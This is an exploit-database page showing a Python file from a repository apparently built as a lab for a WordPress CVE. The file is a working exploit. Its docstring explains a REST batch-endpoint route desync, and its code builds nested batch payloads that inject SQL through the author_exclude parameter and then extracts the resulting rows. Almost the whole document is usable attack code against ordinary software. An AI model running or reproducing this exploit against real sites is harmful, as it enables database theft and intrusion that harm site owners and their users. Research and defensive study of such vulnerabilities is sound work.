Exploit databaseDownload repository ZIP
GH-1685458f28fceb57d2f1838860a27df8
47cid/wp2shell-lab
Sources for CVE-2026-63030
50 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files7
47cid/wp2shell-labRevision eab817732d7c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/batch.py
Python · 4,922 bytes"""Batch endpoint client and desync payload construction.
The route confusion works because serve_batch_request_v1() builds $matches[] and
$validation[] in parallel, but a sub-request that fails wp_parse_url() only appends
to $validation — not $matches. This shifts $matches by one relative to $requests,
so dispatch pairs each sub-request with the wrong handler.
The exploit nests this twice:
Outer batch: [primer, POST /wp/v2/posts (body=inner), POST /batch/v1]
-> posts sub-request dispatched under batch handler (self-call)
Inner batch: [primer, POST /categories?author_exclude=SQLI, GET /wp/v2/posts]
-> categories sub-request dispatched under posts get_items()
-> author_exclude flows unsanitized into WP_Query::author__not_in -> SQL injection
"""
from __future__ import annotations
import json
import time
import urllib.error
import urllib.parse
import urllib.request
from dataclasses import dataclass
from typing import Any, Optional
# Any string that makes wp_parse_url() return false. This seeds a WP_Error into
# the batch's request list without appending to $matches, causing the desync.
DESYNC_PRIMER = {"method": "POST", "path": "http://"}
@dataclass
class Response:
status: int
elapsed: float
body: str
def json(self) -> Any:
return json.loads(self.body)
class BatchClient:
def __init__(
self,
base_url: str,
*,
timeout: float = 30.0,
proxy: Optional[str] = None,
) -> None:
self.base_url = base_url.rstrip("/")
self.timeout = timeout
handlers = []
if proxy:
handlers.append(
urllib.request.ProxyHandler({"http": proxy, "https": proxy})
)
self._opener = urllib.request.build_opener(*handlers)
@property
def batch_url(self) -> str:
return f"{self.base_url}/?rest_route=/batch/v1"
def post_batch(self, payload: dict, timeout: Optional[float] = None) -> Response:
req = urllib.request.Request(
self.batch_url,
data=json.dumps(payload).encode(),
method="POST",
headers={"Content-Type": "application/json"},
)
t = timeout or self.timeout
start = time.monotonic()
try:
resp = self._opener.open(req, timeout=t)
status = resp.status
body = resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as exc:
status = exc.code
body = exc.read().decode("utf-8", "replace")
return Response(status, time.monotonic() - start, body)
def get(self, path: str) -> Response:
url = self.base_url + path
req = urllib.request.Request(url, method="GET")
start = time.monotonic()
try:
resp = self._opener.open(req, timeout=self.timeout)
status = resp.status
body = resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as exc:
status = exc.code
body = exc.read().decode("utf-8", "replace")
return Response(status, time.monotonic() - start, body)
def inject(self, sqli_value: str) -> Response:
"""Send a payload that places sqli_value into author__not_in."""
return self.post_batch(build_payload(sqli_value))
def extract_rows(self, resp: Response) -> Optional[list]:
"""Pull the inner get_items() result rows from a nested batch response."""
try:
outer = resp.json()
inner = outer["responses"][1]["body"]
return inner["responses"][1]["body"]
except (KeyError, IndexError, TypeError, ValueError):
return None
def build_payload(author_not_in: str) -> dict:
"""Build the injection payload.
Uses the categories create route (POST) because:
- It doesn't define author_exclude in its schema, so the value passes
validation unsanitized.
- It doesn't define orderby, so orderby:false passes through to WP_Query
which blanks ORDER BY (needed for UNION payloads, harmless for others).
- body.name satisfies the route's required parameter.
get_items() selects wp_posts.ID (1 column via split-query optimization),
so any UNION SELECT in the payload needs only 1 column.
"""
encoded = urllib.parse.quote(author_not_in, safe="")
inner = {
"validation": "normal",
"requests": [
DESYNC_PRIMER,
{
"method": "POST",
"path": f"/wp/v2/categories?author_exclude={encoded}",
"body": {"name": "x", "orderby": False},
},
{"method": "GET", "path": "/wp/v2/posts"},
],
}
return {
"requests": [
DESYNC_PRIMER,
{"method": "POST", "path": "/wp/v2/posts", "body": inner},
{"method": "POST", "path": "/batch/v1"},
]
}